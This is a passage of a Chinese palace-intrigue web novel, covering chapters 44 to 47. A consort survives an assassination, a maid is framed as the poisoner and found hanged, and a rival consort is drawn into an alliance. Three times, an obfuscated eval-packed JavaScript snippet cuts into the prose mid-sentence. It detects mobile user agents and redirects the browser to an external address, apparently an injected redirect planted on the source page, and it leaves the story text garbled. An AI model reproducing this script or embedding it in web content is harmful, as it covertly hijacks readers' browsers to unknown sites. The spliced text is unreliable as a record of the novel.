“没气了……欸您小心!”亓轸探过刺客鼻息,转头见她已扶着床柱站起,连忙回身扶住她。于少微借着他的力道蹲下,捡起方才用来勒人的腰带,步履蹒跚地挪到刺客身边,一边蹲下捆住对方手脚,一边气息不稳地吩咐:“快去叫人……叫…太医,快点…快!” 先前跟着亓轸埋伏在景阳宫的侍卫陆续赶来,亓轸当即将命令吩咐下去。 “他已经没气了。”他低头看着还在用力收紧绳结的于少微,伸手想扶她起身。 “不行,万一没死透呢?”于少微侧身躲开他的手,声音满是后怕。 榻上传来一声微弱的呻吟,于少微手上动作一顿,猛地站起身,不料重心一个不稳,双膝着地,直直扑到榻边。 “嘶——”她下意识痛呼。 “母妃!”正在绑绳子的亓轸猛地起身,手脚慌乱,差点栽了一个跟头。 “别过来!先把绳子结打好!”于少微跪坐在地,两手扶着床沿,抬头望向床榻,歪倒的槐序微微睁开眼,看见她伸来的手,气若游丝地唤:“婕…婕妤……” “我在!我在!”于少微拢住她未受伤的手,语速飞快,“没事了,都过去了,太医马上就来,你再坚持一会儿!” 槐序虚弱地眨了眨眼,用尽气力应了声“好”,便又闭上了眼。 宁心苑外传来一阵杂乱的脚步声,显然是来了不少人,率先进来的太医在于少微示意下,径直奔榻上的槐序,她焦心地守在一旁,直到听见太医说出“暂无生命危险”几个字,紧绷的神经彻底放松,整个人脱力般晕了过去。 “太医!太医快看看我母妃!”守在一旁的亓轸立马扑了上来。 “于婕妤——” 意识混沌间,于少微感觉自己被人稳稳抱在怀里,各种声响从四面八方涌来,她费力睁开眼,映入眼帘的是亓轸焦急的侧脸,上面还沾着斑斑血迹。 她费力地抬手去擦,少年颊边的血迹已经半干,只在她手上留下浅浅的红印。 “母妃!”亓轸将脸贴向她未来得及收回的掌心,看向她的眼底混合着浓浓的惊喜与焦灼。 “你脸上的血……”于少微这才后知后觉,心里涌上一阵巨大的后怕,他、他有没有受伤? “不是我的血,我没事。”亓轸这才想起自己脸上的血迹,赶忙将脸从于少微的手心挪开,瞥见她手掌被糊上的淡淡红印,少年面上闪过一丝慌乱,直直握着她的手腕竟一时语塞。 “婕妤身体无恙,只是近日没休息好加上又受了些惊吓,所以才会晕倒。”太医诊完脉回道。 “扶我起来吧。”于少微转了转手腕,轻巧地从少年掌心挣脱出来。 亓轸如梦初醒,低低道:“我让人拧块湿帕子来。” 于少微哭笑不得,这时候哪里还顾得上这些,她轻轻摇头,撑着榻沿想要坐直:“那刺客呢?” 地上只剩一滩暗红血迹,刺客已然不见。 “死透了,已经让人带下去搜身了。”亓轸解释,“方才搬他时,他忽然哼了一声,许是回光返照,搬他的人慌了神,又补了一刀,太医看过,确认没了气息。” 于少微轻轻“啊”了一声,脸上没太多情绪,目光转而落在一旁伤口包扎妥当、已然睡着的槐序身上,对太医吩咐:“再叫两个人来,把槐序送回晴雨阁,她要外用和内服的药也一起送过来,动作轻点别惊醒她,药要用最好的,直接走我的份例。” 交代完槐序的事,于少微才想起没看见皇后身影,转头看向亓轸:“皇后娘娘来了吗?” 亓轸摇头又点头:“本来已经到门口了,还没进来,就有宫人来报,说在李嫔宫里搜出了川乌粉。” “李嫔?”于少微心头一震,“皇后现在在哪?” 亓轸面色有些沉:“长春宫。” 于少微毫不迟疑道:“我们现在过去。” * 长春宫的主殿灯火通明,于少微看着牌匾上那三个描金的大字,心中一时五味杂陈。 长春宫,李嫔写在请帖上的宫殿,她升到嫔位后庆帝赐给她的新住所。谁能想到她第一次踏足此地,不为贺喜,不是叙话,竟是为了一桩命案,一场构陷? 殿内气氛凝重,陈皇后端坐上首,身侧竟还坐着庆帝。李嫔跪在殿中,长发凌乱地披散肩头,寝衣外面只仓促裹了件外袍,显然是被人从睡梦中被强行唤醒的。 “陛下,于婕妤与五皇子到了。”陈皇后先瞥见门口二人,侧头对庆帝轻声道。 “臣妾参见陛下,参见皇后娘娘。”于少微刚要行礼,便被庆帝抬手打断。 “免礼,赐座。”庆帝语气带着几分体恤,“你受惊之后身子尚弱,轸儿,扶你母妃坐下。” “儿臣遵命。”亓轸扶着于少微的胳膊,引她走向早已备好的席位。 路过李嫔身边时,于少微不着痕迹地瞥了一眼,恰好李嫔也抬起头,两人目光撞在一处,李嫔穿着寝衣,红肿的眼圈里满是血丝,对着她无言摇头,眼里满是祈求。 适时,门外又有侍卫进殿回话,言明对那刺客已经完成搜身,但其身上无任何标识,无法确定身份,至于宁心苑被调离的侍卫,被巡夜的宫人发现在冷宫前面的荒井旁,应是被人下了药然后扔过去了,无性命之忧,只是药效未过,现下还未清醒。 庆帝听完眉头紧皱,刚要开口说些什么,殿外又传来声音,只见一个侍卫压着一个形貌畏缩的太监走了进来。 “这是何人?”陈皇后瞥了眼庆帝,替他开口道。 “启禀陛下、娘娘,此太监在宫门口欲出宫,形迹可疑,卑职审问之下,他已招认与下毒一案有关。” 话音刚落,那太监“扑通”一声跪倒在地,连连磕头:“奴才是受人指使!是被人威胁的!陛下娘娘饶命啊!” 李嫔猛地抬头,黯淡的眼里瞬间迸发出光亮,如获大赦般挣着往前挪了半步,声音带着哭腔却异常响亮:“陛下!娘娘!臣妾就说自己是清白的!臣妾没有下毒陷害于婕妤!” “吵吵闹闹,成何体统! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065171|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”庆帝脸色一沉,冷冷扫了她一眼,李嫔浑身一颤,瞬间噤若寒蝉,双手拢紧自己的外袍,低头死死盯着地面。 “你说,究竟是何人指使你?”庆帝的目光落在太监身上,语气威严。 太监哆嗦着回话:“奴才只,只知道给我毒药的是……是长春宫的青兰姑姑!” “你撒谎!”李嫔像是被针扎了一般,猛地挣脱旁边宫人的搀扶,冲到太监面前一把揪住他的衣领:“青兰绝不会做这种事!是你污蔑我们!” “来人,把李嫔拉到一边去!”陈皇后抢在庆帝发作前开口。 两名宫人立刻上前,架住激动的李嫔,李嫔奋力挣扎,发丝糊在泪湿的脸上,模样狼狈不堪。 “你继续说。”陈皇后看向太监。 “青兰姑姑说……说于婕妤拒绝了李嫔娘娘的邀请,还多次对娘娘出言不讳,所,所以要给她个教训。”太监咽了口唾沫,眼神躲闪,“她拿奴才的家人威胁奴才,逼奴才去下毒……” “你胡说!一派胡言!”李嫔被按在原地,胸口剧烈起伏,嘶吼着想要冲上去,“我从未对青兰说过这些!是你被人收买了,故意陷害我们!” “来人,先把李嫔带下去看管!”陈皇后皱紧眉头。 “不必。”庆帝开口,目光扫过殿内众人,“她是此案关键,留在殿上,再派个人,看好她。” 陈皇后转而看向太监,语气凌厉:“你说青兰指使你,她一个宫女,哪来的能耐威胁你的家人,还能避开宫中人耳目下毒,甚至买通刺客?” 太监被问得一窒,支支吾吾道:“奴,奴才不知……奴才只见过青兰姑姑,只是照着吩咐做事,或,或许青兰姑姑也是受人指使……”他一边说,眼神一边偷偷往李嫔方向瞟去。 “臣妾没有!青兰也没有!”李嫔红着眼,声音嘶哑,泪水顺着脸颊滚落,“陛下,娘娘,臣妾和青兰都是冤枉的!求你们明察啊!” “你可有证据?”陈皇后没有理会她的申辩,继续追问太监。 “奴才没有……但,但不是已经在青兰姑姑的卧房搜,搜到毒药了吗?”太监慌忙辩解。 “你怎么知道这个消息的?”一直沉默的于少微突然开口。 陈皇后也立刻反应过来,眼神锐利地看向太监:“搜出毒药之事,只有寥寥数人知晓,你一个御花园的太监,如何得知?” “奴,奴才……”太监脸色瞬间煞白,支支吾吾说不出话来,双手死死抠着地面。 “来人,将青兰从牢里提上来对质!”陈皇后当机立断。 随后,她又放缓了语气,对宫人吩咐:“此事尚有疑义,扶李嫔起来,赐座。” 李嫔被人扶着,踉跄地坐到于少微对面的席位上,她急切地看向于少微,眼里满是恳切,于少微却避开了她的目光,侧头假装与亓轸低声交谈。 李嫔的眼神一点点黯淡下去,垂着眼帘,双手紧紧攥着衣角,满脸凄楚。 殿内陷入漫长的沉默,只有烛火偶尔的噼啪声,派去提人的侍卫迟迟未归,陈皇后又派了一名宫女前去催促。 又过了一炷香的时间,才见那名侍卫和催人的宫女一同返回,两人皆是神色慌张,手上空空如也。 “人呢?”陈皇后语气严厉。 于少微心头咯噔一下,顿感不妙,她抬眼看向李嫔,只见李嫔也死死盯着空手而归的侍卫,脸上最后一丝血色也褪的干干净净,满眼都是难以置信的恐惧,嘴唇哆嗦着,一句话也说不出来。 “启禀娘娘……”侍卫单膝跪地,声音带着几分艰涩,“卑职方才去牢中时,发现犯人青兰……已经自缢身亡了。” 45. 第四十五章 “自缢身亡?!” 李嫔猛地起身,椅子被带得向后发出刺耳的“呲啦”声,她脸上最后一丝血色彻底褪尽,嘴唇哆嗦着,眼睛直勾勾地盯着那名侍卫,仿佛不敢相信自己的耳朵。 “不……不可能!”她声音嘶哑,“青兰怎么会死!怎么会自缢?是你们!一定是你们!是你们害了她!” 她疯了似的想要冲过去质问侍卫,身旁的宫人手忙脚乱地将她按在原地,她奋力挣扎,大声哭喊,积压了一晚上的恐惧、委屈与愤怒在这一刻彻底爆发,眼泪混着鼻涕滚落,整个人狼狈得不成样子。 “陛下!娘娘!青兰一定是被人灭口的!”她转向庆帝与陈皇后,双膝一软,重重跪倒在地,连连磕头,“求你们明察!青兰真的是冤枉的!臣妾也是冤枉的!有人要害我们,有人想借刀杀人啊!” 地板坚硬,李嫔才磕了几下,额头便红了一片,隐约渗出血迹,她却浑然不觉般,依旧哑着嗓子哭泣哀求:“青兰跟着我这么多年,忠心耿耿,她绝不会背叛我,更不会去下毒暗杀!是有人栽赃陷害,是有人想让我们死啊!” 殿内一片死寂,只有李嫔的哭声回荡,陈皇后面色沉凝,眼神复杂地看着她,庆帝眉头皱得更紧,指尖轻轻敲击着扶手,不知在思索什么。 于少微看着李嫔恸哭绝望的模样,不忍地偏过头,事情怎么会变成这样?青兰就这么死了?死在这个时候?还有那太监刚刚的破绽—— 她抬眼看向亓轸,后者也正看向她,眼底划过一丝相同的了然。 李嫔哭到力气耗尽,瘫坐在地上,像一株被狂风暴雨摧残过的枯草,她望着殿外漆黑的夜色,眼神空洞,嘴里还在喃喃自语:“青兰……是我害了你……是我连累了你……” 这时,方才的侍卫又开口了,他从袖中掏出一张薄纸,禀道:“青兰死前用血在墙上写下了认罪书,卑职抄录了一份,还请陛下、娘娘过目。” 于少微听到这句话,脑袋中一直紧绷的那根弦“咔嚓”一声断了,身体也彻底卸了力气,重重的倒在椅背上,面色灰败。她知道,这场持续了不足一天的闹剧,最终将以青兰的性命与皇贵妃的胜利收场。 皇后与庆帝看完青兰的认罪书,神色各异,事已至此,他们都知道皇贵妃才是幕后指使,她设这个局,为的是除掉于少微,只是不料计划中途出了差错,于少微没有死,她又当机立断改换目的,替自己找了个替罪羊脱罪。 李嫔与于少微有隙,去岁中秋家宴的事闹得后宫皆知,她有害人的动机,但李嫔的父兄得力,与皇贵妃的哥哥同在军中,若直接将罪名安在她身上,事情恐怕不好收场。皇贵妃要的是把这桩案子按死在今晚,若是李嫔不能替罪,那就只能让她最信任,能够接触她私人事物的青兰来做这个替死鬼。 青兰宫女之身,不足为重,就算死了也掀不起多大的风浪,即使李嫔有意替她报仇,但就凭她的脑子,找出凶手是谁都还需费些力气,而这些时日,足够皇贵妃给案子收尾,在这之后就算李嫔想借其家族的势力,也无力回天。 “既然罪人青兰已经伏诛,下毒一案就到此为止。”庆帝沉吟片刻,心中有了成算。 李嫔听到青兰的名字,僵硬地回过头,直愣愣地望着位于高位的帝王,却再没有任何反应。 “于婕妤洗脱嫌疑,即日起搬回晴雨阁,至于李嫔——”庆帝顿了顿,将目光投向殿中跪着的狼狈女子,只一眼,又面无表情地移开 “李嫔御下不严,致使下属盗取私印犯下大错,险些危害皇子皇妃姓名,罪责难辞,即日起,禁足永春宫,无旨不得出。” 他又指向一旁抖如筛糠的太监:“还有这个阉竖,押入慎刑司监押,着刑部择日处斩。” 那太监顿时魂飞魄散,连滚带爬地磕头求饶,额头撞在地砖上“砰砰”作响,嘴里含糊地喊着“陛下饶命”,庆帝被这聒噪声搅得心烦,不耐地“啧”了一声,厉声喝道:“来人!” 殿外两名侍卫应声而入,动作利落,一手捂住太监的嘴,一手反拧住他的胳膊,拖死狗似的将人拽了下去,庆帝站起身,龙袍下摆扫过台阶,没再看殿中任何人,径直迈步离开了长春宫。 “来人快将李嫔扶起来。”陈皇后的声音带着一丝不易察觉的疲惫,打破了满室的压抑。 地上的李嫔被宫人搀扶着起身,她早已没了方才对峙时的激烈挣扎,面色白得像纸,双眼空洞地盯着地面,整个人僵滞得如同木偶,没有半分生气。 陈皇后见状深深叹了口气,只是她也无法再多说什么,只得别过眼对着于少微道:“你今晚受了惊吓,让太医给你开些安神的药,回去好好休息,这段时日的请安就不要来了。” 于少微起身屈膝行礼:“谢娘娘体恤,娘娘今日也操劳许久,还请尽早回宫安歇。” 陈皇后揉了揉发胀的眉心,又扫了一眼瘫坐在椅子上的李嫔,垂眸挥了挥手:“都散了吧。” 于少微目送陈皇后的仪仗远去,转身折回了怡春宫,此时殿内早已人去楼空,只剩李嫔独自坐在椅子上发呆,旁边守着一个满脸愁容的宫人。 那宫人见于少微去而复返,先是一愣,随即连忙上前行礼,语气带着几分诧异:“于婕妤,您怎么还没走?” “夜里露重,你家娘娘这样坐着,怕是要着凉。”于少微朝李嫔的方向抬了抬下巴,“怎么还不扶她下去歇息?” “奴婢劝过了,可娘娘……娘娘她一动不动,根本没有反应。”宫人苦着脸解释,声音里满是无措。 “你先去取件厚披风来。”于少微走到李嫔身旁,余光瞥见她冻得泛红的手指,“这里交给我。” 那宫人用古怪的眼神瞥了她一眼,毕竟方才二人还处于对立的境地,但还是如蒙大赦般,匆匆行了一礼便退了出去。 殿内只剩两人,静得能听见窗外的风声,于少微俯身,轻轻唤她:“李蓁蓁。” 椅子上的人纹丝不动,仿佛没听见。 于少微索性蹲下,凑到她耳边轻轻道:“你想去看看青兰吗?” 听到青兰的名字,李嫔缓慢转动眼珠,缓缓聚焦,直直看向于少微的脸。 于少微迎上她的目光:“亥时一刻,慎刑司后面的凉亭。” 李嫔定定地看了她片刻,缓慢地眨了眨眼睛,眼角渗出一滴泪。于少微知道她听明白了,起身理了理裙摆,朝殿外候着的亓轸招了招手,两人一同离开了怡春宫。 此时天已经有些蒙蒙亮了,两人并肩走在宫道上,一时沉默无言,这个晚上发生了太多事,于少微的身体已经疲惫的说不出话,但大脑却是出奇的清明,仿佛上了链条般,依旧在快速处理那些纷乱的细节、交错的人心…… 亓轸默默走在外侧替她挡住凉风,两人的影子被熹微的晨光拉得颀长,在宫墙上交叠重合,直到不知哪儿传来的鸡鸣响起,于少微才猛地从思绪中惊醒,转头看向身旁的少年。 她侧头看向目视前方的亓轸,发现日常总是身姿笔挺的少年现下脊背也有些微微佝偻,那是身体疲惫至极的信号,她心头一涩,后知后觉地想起,身旁的少年不但在今晚救了她的命,还为了她奔波了一晚上。 复杂的情绪像温吞的水,漫过心底最软的地方,她抬起胳膊,轻轻碰了碰少年垂在身侧的手臂,亓轸立刻转过头,在那双熟悉的眼眸看过来时,她轻轻道了声谢谢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076177|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亓轸瞬间有些卡格,连忙摆着手道:“不,不用,我……对不起。” 于少微的肩膀几不可查地颤了颤,心底五味杂陈,她清楚这声“对不起”的原由,少年做了她最厌恶的越界之举,却又凭着这份越界救了她的命,死里逃生的庆幸告诉她,这份恩情重如泰山,她不该再斤斤计较,可心底的芥蒂又像细刺,扎得人难受,她试着说服自己放下,却一次次失败…… 今夜发生的一切似走马灯般在她面前掠过,无不告诉着她,再紧抓不放,就是她不识好歹了。 ……不识好歹吗? 倘若她就是放不下呢?即使…她处于道德的低点,可她还是说服了自己啊…… 天色愈发亮了,远方天际已透出太阳的轮廓,可她脚下的路却是暗的,即使谣言如太阳,即使天空碧蓝没有一丝云翳,依旧是有日光照耀不到的角落。 她侧头看向宫墙上的影子,声音轻得像即将弥散的晨雾:“你当时能及时赶来,是已经知道我和淑妃的计划了吧,皇贵妃也知道了,所以她才急于杀我灭口。” 亓轸猛地低下头,身侧的衣袍被攥得发皱,他张了张嘴,几次欲言又止,最后像是放弃了所有辩解,只从齿缝里挤出四个字:“我不后悔。” 宫墙上两人的影子倏地错开,于少微愣神,她何时走慢了些? 不后悔吗?她在心里默念,既然如此,他们还有什么好说的?她解不开自己的心结,也撼动不了他的固执,这条路似乎也只能走到这里了。 其实仔细想想,以他们的关系,多一条锁链、添一道裂痕,似乎也没什么,他们本就不是需要坦诚相待的至亲,更谈不上毫无芥蒂的知己,世间所有亲密关系都难做到毫无嫌隙,何况他们?不过是渐渐长大即将走远的皇子与他始终被困于方寸之地的养母罢了。 没必要较真,没必要烦忧,他们之间,本就没有这些必要。 沉默蔓延得太久,亓轸终于按捺不住,声音带着几分急切:“母妃我真的没有别的意思,只是我、我太害怕了……就像今晚,我不敢想象若是我不知道这些消息,我没有赶过来,事情会……” 他没有将话说完,光是想一想那“万一”的轮廓,他就感到难以抑制的害怕与悔恨,他怎么可能会后悔?今晚的事只要想起一次,他的决定只会更坚定一分,他只恨自己没能发现的更早。 “我知道,我……理解。”于少微自我嘲弄般的叹了口气,往前多走了半步,两人的影子又在宫墙上重叠。 “你有你的顾虑,我也有我的坚持,你可以继续做你想做的,但我也不会改变,我的意愿,我的行动,都不会。”她转头看见少年光洁的侧脸,在朦胧的天光下泛着薄胎瓷的透光感 有血迹的在另一边,她在心里暗暗道。 “您会怪我吗?或者……恨我?不只是现在,还有以后。”亓轸的语气格外艰难,眼睛却亮得惊人,像藏着两颗燃烧的星,目光灼灼地盯着她。 他在要一个承诺,于少微意会,可承诺这东西,从来都是最虚浮的,它可以亘古不变,也可以瞬息万变,意义全凭人赋予,很多时候,承诺说出口的刹那,就已经失去了约束力,亓轸他……真的不懂吗? “你知道的,我无法保证以后会怎么样,我——”于少微还是不愿意骗他。 “我知道!”亓轸打断她的话,眼底翻涌着她有些看不懂的情绪。 “我想听,可以吗?”太阳在少年身后徐徐升起,玫瑰色的光芒拨开罗纱般的晨雾,将整个宫道染得暖意融融,黎明的光彩使她目眩,精神出现了刹那的恍惚 “我不会,永远不会。”她听到自己的声音响起。 46. 第四十六章 慎刑司侧门,于少微与李嫔二人各着一身宫女的服饰,两人对视一眼,眼底皆是脂粉都盖不住的浓重乌青,只不过李嫔是枯坐一晚的成果,而于少微则是回去后便直奔怡春宫,直至约定时间前两刻钟才出来。 “青兰……还在慎刑司吗?”李嫔犹豫开口,宫中惯例,死去宫人的尸体早早就会处理掉。 “放心,我已经提前打好招呼了。”于少微说着,率先跨过那道低矮的侧门,回头见李嫔仍愣在原地,眼神恍惚,低声催促道:“快跟上,别惹人注意。” 一进慎刑司,于少微便拉着李嫔紧贴墙根站定,目光飞快地扫过内里的布置,很快,她的视线锁定一个腰上系着木符的小吏,低头快速朝他走去,在擦身时将从袖中滑出的铜印塞到他手里。 小吏反手接过铜印,攥紧在手心中感受上面的纹路,确认无误后,他默不作声的掉转脚步,径直朝另一个方向走去,于少微赶忙拉着李嫔跟上。 狭长的甬道幽深不见底,两侧石壁冰凉,潮气顺着衣料往里渗,远处的囚室偶尔传来细碎的呻吟与铁链碰撞声,一股混着血腥与霉味的寒气从脚底攀爬而上,于少微和李嫔两人齐齐打了个寒颤。 引路的小吏举着盏忽明忽暗的油灯笼,三人直直走到甬道的尽头,小吏停在一扇厚重的门面前,轻声道:“婕妤,这里就是暴室,五殿下吩咐了,青兰姑娘的尸体就在这里,只是里头腌臜,您要是……” “开门吧。”于少微打断他的话,身后的李嫔不知何时将手搭上了她的左胳膊,力道大的她有些吃痛。 暴室的门是块厚重的木板,小吏费力的将其推开至一条可容纳一人通行的宽度,于少微迅速扯着李嫔挤了进去。暴室里面没有像样的窗,只有屋顶开着个巴掌大的气窗,漏进些微惨淡的天光,刚好落在屋中央那具盖着草席的尸体上。空气里弥漫着一股臭味,还掺着草席腐烂的酸气,于少微下意识捂了捂口鼻,不敢细想这味道的来源。 李嫔一进门就扑了上去,却又生生在离那尸体一步远的距离刹住脚,指尖悬在草席上方,迟迟不敢掀开。她看见草席边缘露出来的一截衣袖,袖口绣着极小的兰草纹,是她开春刚让人做与青兰的衣裳,上头的花样是她亲手挑的。 “就是这具,娘娘们怕是得快些,此地不能逗留太久。”小吏把灯笼放在地上,光团在潮湿的泥地上晕开,照亮了草席下凸起的轮廓。 “李蓁……“于少微出声提醒。 站在前方的人仿佛下定了决心,颤抖的手指缓缓往下探去,冷风忽然从气窗灌进来,掀起草席的一角,露出青兰青灰泛紫的下颌。 于少微心头一悸,下顿时吓地往后退了一步。李嫔却浑然不觉般,猛地抬手将整张草席彻底掀开,青兰双目紧闭,面色青紫肿胀,颈间一道深深的勒痕狰狞可怖,触目惊心。 李嫔慢慢蹲下身,指尖轻轻碰了碰她的脸颊,寒意顺着指尖传遍全身,积压已久的眼泪瞬间汹涌而出。 记忆中青兰的脸总是暖的,声音也很温柔,她木然地想着,抬手想替青兰理一理凌乱的发丝,却发现她的发间纠缠着凝块的血迹,油灯笼的火苗跳了跳,映得墙上的刑具影子晃来晃去,她将脸埋在青兰冰冷的肩窝,压抑的哭声在空旷的暴室里回荡。 小吏在门口不安地咳嗽了一声:“于婕妤,时候不早了……” 于少微刚要开口,就看见李嫔慢慢直起身,动作僵硬地将草席重新盖好,然后转身一步一步走出暴室。 两人回到慎刑司后方的凉亭,李嫔忽然开口,声音沙哑:“青兰交给我。” 于少微颔首:“你直接派人过来,找方才那位小吏即可,我已吩咐过。” “我能去你那里待一会儿吗?”李嫔叫住了准备离开的于少微,眼神里带着一丝恳求,“我不想回去。” “走吧。”于少微主动牵住了她的手,两人一起回了晴雨阁。 * 于少微直接将人带回了自己的寝宫,刚一进门,不等她吩咐,宫人便端着一壶热气腾腾的姜茶上前,轻声禀报:“婕妤,热水已经备好,随时可以沐浴。” 于少微瞬间表情有些复杂,不用猜也知道是亓轸的意思,她轻叹口气,挥退了殿内所有宫人,亲自斟了两杯姜茶,缓步走到蜷在贵妃榻上的李嫔身边。 “喝杯热茶暖暖身子。” 李嫔没有动作,只是抬眼看她,于少微突然有些强硬的拽起她的手,将茶杯塞了进去,杯口氤氲的热气模糊了她脸上的木然,李嫔低头嘬了一口,再抬眼时,眼里有了些许温度。 她双手紧紧抱着茶杯,像是抱着唯一的热源,默默捂了半晌,直到于少微转身给自己倒第二杯姜茶时,她才哑着嗓子,轻轻吐出三个字:“谢谢你。” 于少微执壶的动作一顿,静默了一瞬,似在斟酌措辞,半晌才抬眼看向她,一字一句道:“我知道是谁在害我们。” 李嫔眼睛瞬间瞪大。 “是皇贵妃。”她将话说完。 李嫔神情有些呆滞,她下意识地不愿相信,皇贵妃一向与她交好,两家家族更是来往密切,她能理解皇贵妃忌惮于少微,可自己呢?她从未得罪过皇贵妃,为何要害她? 于少微看出了她的疑惑,直接了当道:“文淑妃想扳倒皇贵妃,她拉我入局,不料惹得皇贵妃注意,所以她想害我。” “……那我?” “皇贵妃想杀我灭口,只是不巧我被人救下,她的谋划即将暴露,你和青兰是她的替罪羊。当然,”于少微顿了顿,看向李嫔一字一句顿道:“我倾向于认为这一切是她早就计划好的,青兰的死,还有你。” 李嫔握着茶盏的手微微颤抖,眼圈红的吓人,于少微看见她这副模样,有些不忍地叹了口气,将摇摇欲坠的杯子从她手中接过,拢住她的手背轻柔道:“先回去休息好吗?如果你不想回去,在我这歇息也行,我让人将热水备好,你好好洗个澡,然后睡觉,睡醒了我们再聊可以吗?” 李嫔的目光落在两人交叠的双手上,她注视片刻,轻轻挣脱了。 于少微手上一空,似乎有些意外地看着她。 “我本来是不明白的,但你装得有点过了。”李嫔将手放回膝盖,冷不丁道。 于少微有些意外地挑眉,抬手撑住下巴,笃定道:“你太累了。” 李嫔神情有些烦躁,她使劲咽了两口唾沫,再开口时语气带了几分从前的跋扈:“你能不能别装了!” 于少微重重叹了口气:“有些是真心的。” 李嫔静默一瞬,低低道:“我知道。” “真的不去休息吗?”于少微追问,看着她眼底的红血丝和满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082657|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸的疲惫,“你现在的状态太差了。” 李嫔扯了扯嘴角,露出一个比哭还难看的笑容:“我怕我一觉睡醒会想把你和文淑妃连着皇贵妃一起杀了给我的青兰陪葬。” “你真的这么想?”于少微试探道。 李嫔给自己灌了半杯冷掉的姜茶,语气也冷冷的,带着自嘲:“那我能怎么办?” 她恨皇贵妃,要不是她心狠手辣,青兰怎么会死?她也恨于少微,要不是她和文淑妃的诡计被暴露,皇贵妃怎么会想到害青兰?她还恨亓轸,如果他没有救下于少微,青兰是不是就不会死了? 他们都是凶手,可她却杀不了任何人,她连自己和青兰的清白都证明不了,甚至仇人也是从仇人口中得知。 “我不是你的仇人。”似是知道她心中所想,于少微突然开口。 李嫔冷冷瞥了她一眼,一副油盐不进的模样。 “你心里清楚,”于少微迎着她的目光,语气坚定,“这件事里,谁是主谋,谁是帮凶,谁是真正的凶手,谁又是无辜的受害者。” 李嫔咬了咬唇,泄气般吼道:“那我能怎么办?你想我怎么办?!” 于少微身子微微前倾,一字一句道:“为青兰报仇,为自己洗脱冤屈。” 李嫔像是被抽走了所有力气,重重仰倒在贵妃榻上,将胳膊横在眼前,声音带着浓重的鼻音,喃喃道:“我也想啊……可是我能做什么?” “那就和我一起。”于少微的声音清晰有力。 李嫔挪开手臂,愣愣地看着正上方的于少微,她的眼神温柔又坚定,仿佛只用这么看着,就能从中汲取无穷的力量。 “你在说什么?” 下一秒,她感觉自己瘫软的身体被人轻轻拥了起来,一只温暖的手掌护在她的后脖颈处,下巴抵在一个清瘦的肩头上,环在腰侧的手臂轻柔地拍打着,这是一个真实的、带着安抚意味的拥抱。 待回过神来,她才发觉自己不知何时,已经泪流满面了。 “你在说什么?”她听到自己的声音在发颤。 头顶上方传来一声极轻的叹息,于少微扶着她的肩膀,轻轻拉开两人的距离,低头看着她泪湿的脸庞,温柔地乞求:“和我一起好吗?我需要你。” 李嫔闭上眼,任凭泪水一滴滴往下落,努力扬起声音用惯常的跋扈语气道:“你看你,还在装,装了那么久,为的就是这个吧!早就计划好了!你们都一个样,我早就落在你的计划里了!” 对面的人沉默不语,她突然放声大笑起来,激烈的笑声混着眼泪一起顺着咽喉流回了她的心里,她感觉到阵阵发麻。 她还能怎么办???她还能怎么办!!! 李嫔在心里崩溃的呐喊,青兰死了,往后的日子她再也没有青兰了,凶手就在她的身边,她却无法报仇,而被她视为间接凶手的人此刻却向她伸出了手,要她与合作报仇。 怎么办啊,谁来告诉她,谁来救救她…… 她感觉自己又被拥入一个熟悉的怀中,温暖的怀抱里萦绕着一股似有若无的潮湿冷气,那是慎刑司的味道。脊背上的手有节奏地轻轻拍着,带着全然安抚的意味,她埋在于少微的颈窝,恶狠狠的将眼泪鼻涕尽数擦到她衣服上,再用更恶狠狠的语气闷闷开口:“告诉我你的计划!告诉我我该做的事情!” 47. 第四十七章 接下来的几日无异于和时间赛跑。 于家那边的信件似雪花般涌进晴雨阁,写信人从于夫人到于父,内容从打探、劝说、质问、警告再到威胁,于少微起先还拆几封看看,到后来直接统一发配角落生灰。 与此同时,她送出宫的信件也受到阻碍,除了寄去于府的,其余的她连一封都寄不出去,之中无异又是皇贵妃的手笔。 不止她处处受限,文淑妃近期也是焦头烂额,皇贵妃不知从哪来的消息,翻出了不少淑妃与其家族的旧账,包括且不限于商铺田产做账、放印子钱以及几件人事纠纷,借着番夷宴绸缎事件的由头,将所有证据一股脑打包呈给庆帝,淑妃父亲在前朝遭到弹劾,淑妃本人也被庆帝叫去问话。 淑妃被叫走时,于少微人就坐在怡春宫,硬生生的又等了大半个时辰,文淑妃的身影才姗姗出现。 “怎么样?”她一见到人就迫不及待地迎了上去。 文淑妃朝锦书斜了一眼,后者立马屏退所有宫人,自己也退了出去守在门外。 “陛下降我至嫔位,勒令禁足一月,六宫的账本直接交回皇后手中,手上其余事务移交给皇后与皇贵妃商讨后再下定论。” 